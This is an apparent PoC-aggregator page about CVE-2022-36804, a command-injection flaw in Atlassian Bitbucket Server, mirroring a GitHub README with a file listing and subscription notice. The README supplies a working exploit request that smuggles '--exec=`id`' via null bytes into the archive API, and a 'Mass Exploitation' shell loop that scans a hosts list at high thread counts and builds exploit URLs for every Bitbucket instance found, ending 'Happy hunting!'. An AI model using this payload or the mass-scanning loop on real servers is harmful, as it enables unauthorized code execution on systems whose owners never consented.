CVE-2022-36804 PoC — Atlassian Bitbucket Server 安全漏洞

Source

https://github.com/kljunowsky/CVE-2022-36804-POC

Associated Vulnerability

Title:Atlassian Bitbucket Server 安全漏洞 (CVE-2022-36804)
Description:Multiple API endpoints in Atlassian Bitbucket Server and Data Center 7.0.0 before version 7.6.17, from version 7.7.0 before version 7.17.10, from version 7.18.0 before version 7.21.4, from version 8.0.0 before version 8.0.3, from version 8.1.0 before version 8.1.3, and from version 8.2.0 before version 8.2.2, and from version 8.3.0 before 8.3.1 allows remote attackers with read permissions to a public or private Bitbucket repository to execute arbitrary code by sending a malicious HTTP request. This vulnerability was reported via our Bug Bounty Program by TheGrandPew.

Description

Bitbucket CVE-2022-36804 unauthenticated remote command execution

Readme

# CVE-2022-36804-POC 🕷️
Bitbucket CVE-2022-36804 unauthenticated remote command execution

## Exploitation

Find publicly visible repositories - example.com/repos?visibility=public

`/rest/api/latest/projects/{project-path}/archive?filename=kiE0h&at=kiE0h&path=kiE0h&prefix=ax%00--exec=%60id%60%00--remote=origin`


## Mass Exploitation
``
 for url in $(cat hosts.txt | httpx -follow-redirects -title -path /repos?visibility=public -match-string "repository-container" -threads 9500 | grep Bitbucket |awk '{print $1}');do echo $url|sed 's/\/repos?visibility=public//g'|tr -d \\n;curl -s -k "$url" | grep -Po '(/projects/)(?!.*\1).*'|grep -o "/projects/.*/browse"|sed 's/browse//g'|awk '{print "/rest/api/latest"$1"archive?filename=kiE0h&at=kiE0h&path=kiE0h&prefix=ax%00--exec=%60id%60%00--remote=origin"}';done
``

Visit crafted URLs :)

Happy hunting! 🐺

[Twitter](https://twitter.com/milanshiftsec)

[LinkedIn](https://www.linkedin.com/in/milan-jovic-sec/)

File Snapshot


 [4.0K]  /data/pocs/f73f707b7313cdd1d795924178c02f3fe9e78da4
├── [1.0K]  CVE-2022-36804.py
├── [1.0K]  LICENSE
└── [ 967]  README.md

0 directories, 3 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!